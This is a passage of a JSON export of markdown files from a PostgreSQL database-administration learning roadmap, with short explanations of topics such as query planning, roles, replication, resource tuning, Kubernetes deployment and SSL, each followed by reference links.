    "content": "# PostgreSQL vs NoSQL\n\nPostgreSQL, a powerful open-source relational database system, excels in handling complex queries, ensuring data integrity, and supporting ACID transactions, making it ideal for applications requiring intricate data relationships and strong consistency. It offers advanced features like JSON support for semi-structured data, full-text search, and extensive indexing capabilities. In contrast, NoSQL databases, such as MongoDB or Cassandra, prioritize scalability and flexibility, often supporting schema-less designs that make them suitable for handling unstructured or semi-structured data and high-velocity workloads. These databases are typically used in scenarios requiring rapid development, horizontal scaling, and high availability, often at the cost of reduced consistency guarantees compared to PostgreSQL.\n\nLearn more from the following resources:\n\n- [@article@What’s the Difference Between MongoDB and PostgreSQL?](https://aws.amazon.com/compare/the-difference-between-mongodb-and-postgresql/)\n- [@article@MongoDB vs PostgreSQL: 15 Critical Differences](https://kinsta.com/blog/mongodb-vs-postgresql/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/postgresql-vs-other-rdbms@IAKERTzTpTds5kZLMCapM.md",
    "content": "# PostgreSQL vs. Other Databases\n\nPostgreSQL stands out among other RDBMS options due to its open-source nature, advanced features, and robust performance. Unlike proprietary systems like Oracle or Microsoft SQL Server, PostgreSQL is free to use and highly extensible, allowing users to add custom functions, data types, and operators. It supports a wide range of indexing techniques and provides advanced features such as full-text search, JSON support, and geographic information system (GIS) capabilities through PostGIS. Additionally, PostgreSQL's strong adherence to SQL standards ensures compatibility and ease of migration. While systems like MySQL are also popular and known for their speed in read-heavy environments, PostgreSQL often surpasses them in terms of functionality and compliance with ACID properties, making it a versatile choice for complex, transactional applications.\n\nLearn more from the following resources:\n\n- [@article@PostgreSQL vs MySQL: The Critical Differences](https://www.integrate.io/blog/postgresql-vs-mysql-which-one-is-better-for-your-use-case/)\n- [@article@Whats the difference between PostgreSQL and MySQL?](https://aws.amazon.com/compare/the-difference-between-mysql-vs-postgresql/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/practical-patterns--antipatterns@AtZcMhy2Idmgonp5O8RSQ.md",
    "content": "# Practical Patterns for Migrations\n\nPractical patterns for PostgreSQL migrations include using version control tools like Liquibase or Flyway to manage schema changes, applying incremental updates to minimize risk, maintaining backward compatibility during transitions, and employing zero-downtime techniques like rolling updates. Data migration scripts should be thoroughly tested in staging environments to ensure accuracy. Employing transactional DDL statements helps ensure atomic changes, while monitoring and having rollback plans in place can quickly address any issues. These strategies ensure smooth, reliable migrations with minimal application disruption.\n\nLearn more from the following resources:\n\n- [@official@Liquibase Website](https://www.liquibase.com/)\n- [@official@Flyway Website](https://flywaydb.org/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/procedures-and-functions@LiF2Yh818D-zEF58v5Fgr.md",
    "content": "# Procedures and Functions in PostgreSQL\n\nIn PostgreSQL, functions and procedures encapsulate reusable logic within the database to enhance performance and maintain organization. Functions return a value or a table, take input parameters, and are used in SQL queries, defined with `CREATE FUNCTION`. Procedures, introduced in PostgreSQL 11, do not return values but can perform actions and include transaction control commands like `COMMIT` and `ROLLBACK`, defined with `CREATE PROCEDURE` and called using the `CALL` statement. Key differences include functions' mandatory return value and integration in SQL queries, while procedures focus on performing operations and managing transactions.\n\nLearn more from the following resources:\n\n- [@official@CREATE PROCEDURE](https://www.postgresql.org/docs/current/sql-createprocedure.html)\n- [@official@CREATE FUNCTION](https://www.postgresql.org/docs/current/sql-createfunction.html)\n- [@article@PostgreSQL CREATE PROCEDURE](https://www.postgresqltutorial.com/postgresql-plpgsql/postgresql-create-procedure/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/processes--memory-architecture@v2J6PZT0fHvqA7GwlqBU7.md",
    "content": "# Process Memory Architecture in PostgreSQL\n\nPostgreSQL’s process memory architecture is designed to efficiently manage resources and ensure performance. It consists of several key components:\n\n- Shared Memory: This is used for data that needs to be accessed by all server processes, such as the shared buffer pool (shared_buffers), which caches frequently accessed data pages, and the Write-Ahead Log (WAL) buffers (wal_buffers), which store transaction log data before it is written to disk.\n- Local Memory: Each PostgreSQL backend process (one per connection) has its own local memory for handling query execution. Key components include the work memory (work_mem) for sorting operations and hash tables, and the maintenance work memory (maintenance_work_mem) for maintenance tasks like vacuuming and index creation.\n- Process-specific Memory: Each process allocates memory dynamically as needed for tasks like query parsing, planning, and execution. Memory contexts within each process ensure efficient memory usage and cleanup.\n- Temporary Files: For operations that exceed available memory, such as large sorts or hash joins, PostgreSQL spills data to temporary files on disk.\n\nLearn more from the following resources:\n\n- [@article@Understanding PostgreSQL Shared Memory](https://stackoverflow.com/questions/32930787/understanding-postgresql-shared-memory)\n- [@article@Understanding The Process and Memory Architecture of PostgreSQL](https://dev.to/titoausten/understanding-the-process-and-memory-architecture-of-postgresql-5hhp)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/prometheus@XmBeM01NAy-_nfyNdk9ZV.md",
    "content": "# Prometheus: An Effective Monitoring Tool\n\nPrometheus is an open-source systems monitoring and alerting toolkit designed for reliability and scalability. Originally developed at SoundCloud, it is now a part of the Cloud Native Computing Foundation. Prometheus collects metrics from configured targets at specified intervals, evaluates rule expressions, displays results, and can trigger alerts if certain conditions are met. It features a powerful query language called PromQL, a multi-dimensional data model based on time-series data identified by metric names and key/value pairs, and an efficient storage system. Prometheus is highly adaptable, supporting service discovery mechanisms and static configurations, making it a robust choice for monitoring dynamic cloud environments and microservices architectures.\n\nLearn more from the following resources:\n\n- [@official@Prometheus Website](https://prometheus.io/)\n- [@article@Prometheus Monitoring](https://www.tigera.io/learn/guides/prometheus-monitoring/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/puppet@e39bceamU-lq3F2pmLz6v.md",
    "content": "# Puppet: Configuration Management for PostgreSQL\n\nPuppet is an open-source software configuration management tool that enables system administrators to automate the provisioning, configuration, and management of a server infrastructure. It helps minimize human errors, ensures consistency across multiple systems, and simplifies the process of managing PostgreSQL installations.\n\nLearn more from the following resources:\n\n- [@official@Puppet Documentation](https://puppet.com/docs/puppet/latest/index.html)\n- [@official@Puppet PostgreSQL Module Documentation](https://forge.puppet.com/modules/puppetlabs/postgresql/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/queries@xVocG4LuFdtphwoOxiJTa.md",
    "content": "# Queries in PostgreSQL\n\nQueries are the primary way to interact with a PostgreSQL database and retrieve or manipulate data stored within its tables. In this section, we will cover the fundamentals of querying in PostgreSQL - from basic `SELECT` statements to more advanced techniques like joins, subqueries, and aggregate functions.\n\nLearn more from the following resources:\n\n- [@official@Querying a Table](https://www.postgresql.org/docs/current/tutorial-select.html)\n"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/query-planner@hOPwVdIzesselbsI_rRxt.md",
    "content": "# Query Planner in PostgreSQL\n\nThe PostgreSQL query planner is an essential component of the system that's responsible for optimizing the execution of SQL queries. It finds the most efficient way to join tables, establish subquery relationships, and determine the order of operations based on available data, query structure, and the current PostgreSQL configuration settings.\n\nLearn more from the following resources:\n\n- [@official@Planner/Optimizer](https://www.postgresql.org/docs/current/planner-optimizer.html)\n- [@official@Query Planning](https://www.postgresql.org/docs/current/runtime-config-query.html)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/query-processing@Qk14b9WyeCp9RV9WAwojt.md",
    "content": "# Query Processing in PostgreSQL\n\nQuery processing is an important aspect of a database system, as it is responsible for managing data retrieval and modification using Structured Query Language (SQL) queries. Efficient query processing is crucial for ensuring optimal database performance.\n\nLearn more from the following resources:\n\n- [@article@Query Processing in PostgreSQL](https://www.interdb.jp/pg/pgsql03.html)\n- [@course@Understand PostgreSQL Query Processing - Microsoft](https://learn.microsoft.com/en-us/training/modules/understand-postgresql-query-process/)\n"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/querying-data@BEJyz0ohCglDucxfyuAy4.md",
    "content": "# Querying Data\n\nQuerying data with Data Manipulation Language (DML) in PostgreSQL involves using SQL statements to retrieve and manipulate data within the database. The primary DML statements for querying and modifying data are `SELECT`, `INSERT`, `UPDATE`, and `DELETE`.\n\nLearn more from the following resources:\n\n- [@official@SELECT](https://www.postgresql.org/docs/current/sql-select.html)\n- [@official@INSERT](https://www.postgresql.org/docs/current/sql-insert.html)\n- [@official@UPDATE](https://www.postgresql.org/docs/current/sql-update.html)\n- [@official@DELETE](https://www.postgresql.org/docs/current/sql-delete.html)\n"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/rdbms-benefits-and-limitations@p3AmRr_y_ZBKzAU5eh7OU.md",
    "content": "# RDBMS Benefits and Limitations\n\nRelational Database Management Systems (RDBMS) offer several benefits, including robust data integrity through ACID (Atomicity, Consistency, Isolation, Durability) compliance, powerful querying capabilities with SQL, and strong support for data relationships via foreign keys and joins. They are highly scalable vertically and can handle complex transactions reliably. However, RDBMS also have limitations such as difficulties in horizontal scaling, which can limit performance in highly distributed systems. They can be less flexible with schema changes, often requiring significant effort to modify existing structures, and may not be the best fit for unstructured data or large-scale, high-velocity data environments typical of some NoSQL solutions.\n\nLearn more from the following resources:\n\n- [@article@15 Advantages and Disadvantages of RDBMS](https://trainings.internshala.com/blog/advantages-and-disadvantages-of-rdbms/)\n- [@article@Top 11 Advantages and Disadvantages of RDBMS You Should Know](https://webandcrafts.com/blog/advantages-disadvantages-rdbms)\n- [@video@Limitations of Relational Databases](https://www.youtube.com/watch?v=t62DXEfIFy4)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/recursive-cte@A1LGOqqaka0ILcYwybclP.md",
    "content": "# Recursive CTE (Common Table Expressions)\n\nRecursive CTEs are a powerful feature in SQL that allow you to build complex hierarchical queries, retrieve data stored in hierarchical structures or even perform graph traversal. In simple terms, a recursive CTE is a CTE that refers to itself in its own definition, creating a loop that iterates through the data until a termination condition is met.\n\nNote that recursive CTEs can be complex, and it's important to ensure a proper termination condition to avoid infinite recursion. Also, be careful with the use of `UNION ALL` or `UNION`, as it may impact the results and the performance of your query.\n\nLearn more from the following resources:\n\n- [@article@PostgreSQL - Recursive Query](https://www.postgresqltutorial.com/postgresql-tutorial/postgresql-recursive-query/)\n- [@article@PostgreSQL Recursive Query Explained](https://elvisciotti.medium.com/postgresql-recursive-query-the-simplest-example-explained-f9b85e0a371b)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/red@qBkpTmfbyCv2L-OJW9pPI.md",
    "content": "# Troubleshooting Methods: Analyzing 'red' Situations\n\nThe acronym stands for Rate, Errors, and Duration. These are request-scoped, not resource-scoped as the USE method is. Duration is explicitly taken to mean distributions, not averages.\n\nThe Rate is the number of requests per second. The Errors is the number of requests that failed. The Duration is the distribution of request durations.\n\nThe Red Method is a methodology for analyzing the performance of any system. It directs the construction of a checklist, which for server analysis can be used for quickly identifying resource bottlenecks or errors. It begins by posing questions, and then seeks answers, instead of beginning with given metrics (partial answers) and trying to work backwards.\n\nLearn more from the following resources:\n\n- [@article@The RED Method: A New Approach to Monitoring Microservices](https://thenewstack.io/monitoring-microservices-red-method)\n- [@article@PostgreSQL, RED, Golden Signals](https://dataegret.com/2020/10/postgresql-red-golden-signals-getting-started/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/relational-model@mDVbjdVN0spY7dI_8k1YW.md",
    "content": "# Relational Model\n\nThe relational model is an approach to organizing and structuring data using tables, also referred to as \"relations\". It was first introduced by Edgar F. Codd in 1970 and has since become the foundation for most database management systems (DBMS), including PostgreSQL. This model organizes data into tables with rows and columns, where each row represents a single record and each column represents an attribute or field of the record. \n\nLearn more from the following resources:\n\n- [@article@What is the Relational Model?](https://www.postgresql.org/docs/7.1/relmodel-oper.html)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/relations@2hM2IPAnNYq-LlEbcFp2Z.md",
    "content": "# Relations in the Relational Model\n\nIn the relational model, a relation is essentially a table composed of rows and columns, where each row represents a unique record (or tuple) and each column represents an attribute of the data. The structure of a relation is defined by its schema, which specifies the relation's name and the names and data types of its attributes. Relations are governed by integrity constraints, such as domain constraints, key constraints, and referential integrity constraints, to ensure data accuracy and consistency. Operations like selection, projection, join, and others can be performed on relations to retrieve and manipulate data efficiently.\n\nLearn more from the following resources:\n\n- [@official@Domain Constraints](https://www.postgresql.org/docs/current/infoschema-domain-constraints.html)\n- [@article@Relationships](https://hasura.io/learn/database/postgresql/core-concepts/6-postgresql-relationships/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/replication@A3YTrZSUxNBq77iIrNdZ4.md",
    "content": "# Replication in PostgreSQL\n\nReplication, in simple terms, is the process of copying data from one database server to another. It helps in maintaining a level of redundancy and improving the performance of databases. Replication ensures that your database remains highly available, fault-tolerant, and scalable.\n\nLearn more from the following resources:\n\n- [@official@Replication](https://www.postgresql.org/docs/current/runtime-config-replication.html)\n- [@article@PostgreSQL Replication](https://kinsta.com/blog/postgresql-replication/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/reporting-logging--statistics@507TY35b8iExakbBMrHgZ.md",
    "content": "# Reporting Logging Statistics\n\nWhen working with PostgreSQL, it is often useful to analyze the performance of your queries and system as a whole. This can help you optimize your database and spot potential bottlenecks. One way to achieve this is by reporting logging statistics. PostgreSQL provides configuration settings for generating essential logging statistics on query and system performance.\n\nLearn more from the following resources:\n\n- [@official@Error Reporting and Logging](https://www.postgresql.org/docs/current/runtime-config-logging.html)\n- [@article@PostgreSQL Logging: Everything You Need to Know](https://betterstack.com/community/guides/logging/how-to-start-logging-with-postgresql/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/resource-usage--provisioning--capacity-planning@SNnc8CIKuHUAEZaJ_qEar.md",
    "content": "# Resource Usage, Provisioning, and Capacity Planning\n\nCapacity planning and resource management are essential skills for professionals working with PostgreSQL. A well-designed infrastructure balances resource usage among the server, I/O, and storage systems to maintain smooth database operations. In this context, resource usage refers to the consumption of computational resources like CPU, memory, storage, and network resources. Planning for provisioning and capacity can help administrators run an efficient and scalable PostgreSQL infrastructure.\n\n## Resource Usage\n\nWhen monitoring your PostgreSQL database's performance, some factors to look out for include CPU, memory, disk I/O, and network usage.\n\n- **CPU**: High CPU usage may indicate that queries are taking longer than expected, causing increased resource consumption by the system. It is crucial to monitor the CPU usage and optimize queries and indexes to avoid performance bottlenecks.\n- **Memory**: A well-managed memory system can significantly speed up database operations. Monitor memory usage, as low memory utilization rates can lead to slow query responses and reduced performance.\n- **Disk I/O**: Monitor disk read and write performance to avoid bottlenecks and maintain efficient database operations. Excessive write activities, heavy workload, or slow storage can affect the PostgreSQL's transaction processing.\n- **Network**: Network problems might lead to slow response times or connectivity issues. Monitoring the network traffic can help identify any problems with the database, client connections, or replication.\n\n## Provisioning\n\nProper resource provisioning is critical to ensure the system can handle the workload, while also being cost-effective. When dealing with PostgreSQL, there are three main aspects to consider:\n\n- **Instance Size**: Resource allocation includes determining the appropriate instance size for your PostgreSQL server. Consider the expected workload for your database application and choose the right balance of CPU power, memory, and storage for your requirements.\n- **Scaling**: Plan for the ability to scale your PostgreSQL database horizontally (by adding more nodes) or vertically (by increasing resources) to maintain system performance as your needs grow. This will help you accommodate fluctuating workloads, new applications, or changes in usage patterns.\n- **High Availability**: Provision multiple PostgreSQL instances to form a high-availability (HA) setup, protecting against hardware failures and providing minimal downtime. In addition, PostgreSQL supports replication to ensure data durability and consistency across multiple nodes.\n\n## Capacity Planning\n\nCapacity planning is a dynamic process that includes forecasting the infrastructure requirements based on business assumptions and actual usage patterns. System requirements might change as new applications or users are added, or as the database grows in size. Consider the following factors when planning your PostgreSQL infrastructure:\n\n- **Workload**: Understand the expected workload for your PostgreSQL database to determine database size, indexing, and caching requirements.\n- **Data Storage**: Anticipate the growth of your data volume through regular database maintenance, monitoring, and by having storage expansion plans in place.\n- **Performance Metrics**: Establish key performance indicators (KPIs) to measure performance, detect possible issues, and act accordingly to minimize service degradation.\n- **Testing**: Simulate test scenarios and perform stress tests to identify bottlenecks and inconsistencies to adjust your infrastructure as needed.\n\nLearn more from the following resources:\n\n- [@official@Resource Consumption](https://www.postgresql.org/docs/current/runtime-config-resource.html)\n- [@article@5 ways to host PostgreSQL databases](https://www.prisma.io/dataguide/postgresql/5-ways-to-host-postgresql)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/resource-usage@yl3gxfQs4nOE0N7uGqR0d.md",
    "content": "# Resources Usage\n\nConfiguring PostgreSQL for optimal resource usage involves adjusting settings in the `postgresql.conf` file to balance memory, CPU, and disk usage. \n\nKey parameters include `shared_buffers`, typically set to 25-40% of total RAM, to optimize caching; `work_mem`, which should be adjusted based on the complexity and number of concurrent queries, often starting at 1-2MB per connection; `maintenance_work_mem`, set higher (e.g., 64MB) to speed up maintenance tasks; `effective_cache_size`, usually set to about 50-75% of total RAM to inform the planner about available cache; and `max_connections`, which should be carefully set based on available resources to avoid overcommitting memory. Additionally, `autovacuum` settings should be fine-tuned to ensure regular cleanup without overloading the system. Adjusting these parameters helps PostgreSQL efficiently utilize available hardware, improving performance and stability.\n\nLearn more from the following resources:\n\n- [@official@Resource Consumption Documentation](https://www.postgresql.org/docs/current/runtime-config-resource.html#RUNTIME-CONFIG-RESOURCE-MEMORY)\n- [@article@effective_cache_size](https://docs.aws.amazon.com/prescriptive-guidance/latest/tuning-postgresql-parameters/effective-cache-size.html)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/reviewing-patches@Jy0G0ZnHPOM8hba_PbwuA.md",
    "content": "# Reviewing Patches\n\nReviewing patches is a vital contribution to PostgreSQL, ensuring quality control, maintaining project standards, and helping new contributors understand the system's internals. By identifying bugs, improving performance, and ensuring proper documentation and test coverage, reviewers uphold PostgreSQL's reliability and stability. To participate, subscribe to the *pgsql-hackers mailing list*, explore patches in the *commitfest schedule*, and provide constructive feedback on correctness, performance, and code quality. Engaging in this collaborative process is an impactful way to support the PostgreSQL community.  \n\nVisit the following resources to learn more:\n\n- [@official@pgsql-hackers Mailing List](https://www.postgresql.org/list/pgsql-hackers/)  \n- [@official@Commitfest Schedule](https://commitfest.postgresql.org/)\n"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/roles@l0lpaPy12JFCJ-RRYVSqz.md",
    "content": "# PostgreSQL Roles\n\nIn PostgreSQL, roles are entities that manage database access permissions, combining user and group functionalities. Roles can own database objects and have privileges, such as the ability to create databases or tables. A role can be configured with login capabilities (login role), or it can be used purely for privilege management (group role). Roles can inherit permissions from other roles, simplifying the management of complex permission hierarchies. Key role attributes include `SUPERUSER` (full access), `CREATEDB` (ability to create databases), `CREATEROLE` (ability to create and manage other roles), and `REPLICATION` (replication-related privileges). Roles are created and managed using SQL commands such as `CREATE ROLE`, `ALTER ROLE`, and `DROP ROLE`.\n\nLearn more from the following resources:\n\n- [@video@For Your Eyes Only: Roles, Privileges, and Security in PostgreSQL](https://www.youtube.com/watch?v=mtPM3iZFE04)\n- [@official@Database Roles](https://www.postgresql.org/docs/current/user-manag.html)\n- [@official@Predefined Roles](https://www.postgresql.org/docs/current/predefined-roles.html)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/row-level-security@bokFf6VNrLcilI9Hid386.md",
    "content": "# Row Level Security (RLS)\n\nRow Level Security (RLS) is a feature introduced in PostgreSQL 9.5 that allows you to control access to rows in a table based on a user or role's permissions. This level of granularity in data access provides an extra layer of security for protecting sensitive information from unauthorized access.\n\nLearn more from the following resources:\n\n- [@official@Row Security Policies](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)\n- [@video@How to Setup Row Level Security (RLS) in PostgreSQL](https://www.youtube.com/watch?v=j53NoW9cPtY)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/rows@Rd3RLpyLMGQZzrxQrxDGo.md",
    "content": "# Rows in PostgreSQL\n\nA row in PostgreSQL represents a single, uniquely identifiable record with a specific set of fields in a table. Each row in a table is made up of one or more columns, where each column can store a specific type of data (e.g., integer, character, date, etc.). The structure of a table determines the schema of its rows, and each row in a table must adhere to this schema.\n\nLearn more from the following resources:\n\n- [@official@PostgreSQL - Rows](https://www.postgresql.org/docs/current/functions-comparisons.html)\n"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/salt@Q_B9dlXNMXZIRYQC74uIf.md",
    "content": "# Salt - Configuration Management for PostgreSQL\n\nSalt (SaltStack) is an open-source configuration management, remote execution, and automation tool that helps you manage, automate, and orchestrate your PostgreSQL infrastructure. Salt is an excellent choice for managing your PostgreSQL infrastructure, providing a powerful, flexible, and extensible solution to help you maintain consistency and automate common tasks seamlessly.\n\nLearn more from the following resources:\n\n- [@official@Saltstack Website](https://saltproject.io/index.html)\n- [@opensource@saltstack/salt](https://github.com/saltstack/salt)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/schema-design-patterns--anti-patterns@FDuiJyU1yWUQ9IsfS3CeZ.md",
    "content": "# Schema Design Patterns in PostgreSQL\n\nSchema design patterns in PostgreSQL ensure efficient and scalable databases by using normalization to reduce redundancy and maintain data integrity, while denormalization improves read performance for read-heavy applications. Employing star and snowflake schemas optimizes query performance in data warehousing, with the former having a central fact table and the latter normalizing dimension tables. Partitioning tables based on specific criteria enhances query performance and maintenance, while strategic use of indexes speeds up data retrieval. Foreign keys and constraints maintain data integrity, and materialized views precompute complex queries for faster access to summary data, collectively ensuring an optimized and robust database design.\n\nLearn more from the following resources:\n\n- [@article@How to Design Your PostgreSQL Database: Two Schema Examples](https://www.timescale.com/learn/how-to-design-postgresql-database-two-schema-examples)\n- [@video@What is STAR schema | Star vs Snowflake Schema](https://www.youtube.com/watch?v=hQvCOBv_-LE)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/schemas@mF6qAlo2ULJ3lECG2m0h7.md",
    "content": "# Schemas\n\nSchemas are an essential part of PostgreSQL's object model, and they help provide structure, organization, and namespacing for your database objects. A schema is a collection of database objects, such as tables, views, indexes, and functions, that are organized within a specific namespace. \n\nLearn more from the following resources:\n\n- [@official@Schemas](https://www.postgresql.org/docs/current/ddl-schemas.html)\n- [@article@Schema in PostgreSQL](https://hasura.io/learn/database/postgresql/core-concepts/1-postgresql-schema/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/security@2Zg8R5gs9LMQOcOMZtoPk.md",
    "content": "# PostgreSQL Security Concepts\n\nSecuring PostgreSQL involves multiple layers of considerations to protect data and ensure only authorized access.\n\nLearn more from the following resources:\n\n- [@article@PostgreSQL Database Security Best Practices](https://www.percona.com/blog/postgresql-database-security-best-practices/)\n- [@article@Security - Azure Database for PostgreSQL](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/concepts-security)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/sed@hVL6OtsXrE8BvjKpRjB-9.md",
    "content": "# Sed: The Stream Editor\n\nSed is a powerful command-line utility for text processing and manipulation in Unix-based systems, including Linux operating systems. It operates on a text stream – reading from a file, standard input, or a pipe from another command – and applies a series of editing instructions known as \"scripts\" to transform the input text into a desired output format.\n\nLearn more from the following resources:\n\n- [@article@sed, a stream editor](https://www.gnu.org/software/sed/manual/sed.html)\n- [@article@How to use the sed command on Linux](https://www.howtogeek.com/666395/how-to-use-the-sed-command-on-linux/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/selinux@GvpIJF-eaGELwcpWq5_3r.md",
    "content": "# SELinux\n\nSELinux, or Security-Enhanced Linux, is a Linux kernel security module that brings heightened access control and security policies to your system. It is specifically designed to protect your system from unauthorized access and data leaks by enforcing a strict security policy, preventing processes from accessing resources they shouldn't, which is a significant tool for database administrators to help secure PostgreSQL instances.\n\nLearn more from the following resources:\n\n- [@article@What is SELinux?](https://www.redhat.com/en/topics/linux/what-is-selinux)\n- [@article@Introduction to SELinux](https://github.blog/developer-skills/programming-languages-and-frameworks/introduction-to-selinux/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/set-operations@kOwhnSZBwIhIbIsoAXQ50.md",
    "content": "# Set Operations in PostgreSQL\n\nSet operations are useful when you need to perform actions on whole sets of data, such as merging or comparing them. Set operations include UNION, INTERSECT, and EXCEPT, and they can be vital tools in querying complex datasets.\n\nLearn more from the following resources:\n\n- [@official@Combining Queries](https://www.postgresql.org/docs/current/queries-union.html)\n- [@article@PostgreSQL UNION Operator](https://www.postgresqltutorial.com/postgresql-tutorial/postgresql-union/)\n- [@article@PostgreSQL INTERSECT Operator](https://www.postgresqltutorial.com/postgresql-tutorial/postgresql-intersect/)\n- [@article@PostgreSQL EXCEPT Operator](https://www.postgresqltutorial.com/postgresql-tutorial/postgresql-except/)\n"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/sharding-patterns@r6Blr7Q4wOnvJ-m6NvPyP.md",
    "content": "# Sharding Patterns\n\nSharding is a technique that splits a large dataset across multiple database instances or servers, called shards. Each shard is an independent and self-contained unit that holds a portion of the overall data, and shards can be distributed across different geographical locations or infrastructures.\n\nLearn more from the following resources:\n\n- [@article@Exploring Effective Sharding Strategies with PostgreSQL](https://medium.com/@gustavo.vallerp26/exploring-effective-sharding-strategies-with-postgresql-for-scalable-data-management-2c9ae7ef1759)\n- [@article@Mastering PostgreSQL Scaling: A Tale of Sharding and Partitioning](https://doronsegal.medium.com/scaling-postgres-dfd9c5e175e6)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/shell-scripts@-clI2RmfhK8F8beHULaIB.md",
    "content": "# Shell Scripts\n\nShell scripts are a powerful tool used to automate repetitive tasks and perform complex operations. They are essentially text files containing a sequence of commands to be executed by the shell (such as Bash or Zsh). By leveraging shell scripts with tools such as `cron`, you can efficiently automate tasks related to PostgreSQL and streamline your database administration processes.\n\nLearn more from the following resources:\n\n- [@article@Shell Script Cheatsheet](https://cheatsheets.zip/bash)\n- [@article@Shell Scripting Tutorial](https://www.tutorialspoint.com/unix/shell_scripting.htm)\n- [@video@Shell Scripting for Beginners](https://www.youtube.com/watch?v=cQepf9fY6cE&list=PLS1QulWo1RIYmaxcEqw5JhK3b-6rgdWO_)\n"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/simple-stateful-setup@rNp3ZC6axkcKtAWYCPvdR.md",
    "content": "# Simple Stateful Setup\n\nHere are the key components and steps involved in setting up a simple stateful `PostgreSQL` deployment on `Kubernetes`:\n\n- **Create a Storage Class**: Define a `StorageClass` resource in `Kubernetes`, specifying the type of storage to be used and the access mode (read-write, read-only, etc.).\n\n- **Create a Persistent Volume Claim**: Define a `PersistentVolumeClaim` (PVC) to request a specific amount of storage from the storage class for your `PostgreSQL` database.\n\n- **Create a ConfigMap**: Define a `ConfigMap` to store your database configuration settings (e.g., usernames, passwords, etc.), separate from your application code.\n\n- **Create a Secret**: Store sensitive data (e.g., database passwords) securely in a `Secret` object. The `Secret` will be mounted as a volume in the pod and the environment variables will be set.\n\n- **Create a StatefulSet**: Define a `StatefulSet` that manages the deployment of your `PostgreSQL` pods. Specify the container image, port, volumes (PVC and ConfigMap), and a startup script. It ensures the unique identifier for each pod and guarantees the order of pod creation/deletion.\n\nLearn more from the following resources:\n\n- [@article@How to Deploy Postgres to Kubernetes Cluster](https://www.digitalocean.com/community/tutorials/how-to-deploy-postgres-to-kubernetes-cluster)\n- [@article@Deploy PostgreSQL on K8's](https://refine.dev/blog/postgres-on-kubernetes/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/sp-gist@LT5qRETR3pAI8Tk6k5idg.md",
    "content": "# Using SP-GiST Indexes in PostgreSQL\n\nThe Spatial Generalized Search Tree (SP-GiST) is an advanced indexing structure in PostgreSQL designed to efficiently manage spatial and multidimensional data. Unlike traditional balanced trees like GiST, SP-GiST supports space-partitioning trees such as quad-trees and kd-trees, which are particularly useful for spatial data where the data space can be partitioned into non-overlapping regions.\n\nSP-GiST is ideal for applications that involve complex spatial queries and need efficient indexing mechanisms for large datasets. It works by dividing the data space into smaller, manageable partitions, which helps in optimizing search operations and improving query performance. This structure is particularly beneficial in geographic information systems (GIS), spatial databases, and applications dealing with high-dimensional data.\n\nLearn more from the following resources:\n\n- [@article@PostgreSQL SP-GiST](https://www.slingacademy.com/article/postgresql-sp-gist-space-partitioned-generalized-search-tree/)\n- [@article@(The Many) Spatial Indexes of PostGIS](https://www.crunchydata.com/blog/the-many-spatial-indexes-of-postgis)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/sql-query-patterns--anti-patterns@G9DB1ZQjgXaHxJ4Lm6xGx.md",
    "content": "# SQL Query Patterns in PostgreSQL\n\nSchema query patterns in PostgreSQL optimize data retrieval and manipulation by using indexes on frequently queried columns to speed up SELECT queries, optimizing joins with indexed foreign keys and appropriate join types, and leveraging table partitioning to limit data scans. Common Table Expressions (CTEs) break down complex queries for better readability and maintainability, while window functions allow advanced analytics within queries. Query caching and prepared statements reduce access times and execution overhead, respectively, and materialized views precompute and store complex query results for faster access. These patterns collectively enhance the efficiency, performance, and reliability of PostgreSQL queries.\n\nVisit the following resources to learn more:\n\n- [@official@PostgreSQL - Query Patterns](https://www.postgresql.org/docs/current/functions-matching.html)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/ssl-settings@EKwO6edtFnUw8cPCcVwKJ.md",
    "content": "# SSL Settings in PostgreSQL\n\nSecuring the communication channels is a crucial aspect of protecting your PostgreSQL database from different types of attacks. One way to achieve this security is by using SSL (Secure Socket Layer) connections. By enabling and configuring SSL, you add an extra layer of security to your PostgreSQL database, ensuring the data transferred between the client and server is encrypted and protected.\n\nLearn more from the following resources:\n\n- [@official@SSL Support](https://www.postgresql.org/docs/current/libpq-ssl.html)\n- [@article@How to Configure SSL on PostgreSQL](https://www.cherryservers.com/blog/how-to-configure-ssl-on-postgresql)\n- [@video@How to use SSL in PostgreSQL The Right Way](https://www.youtube.com/watch?v=Y1lsbF9NWW0)"
  },
  {
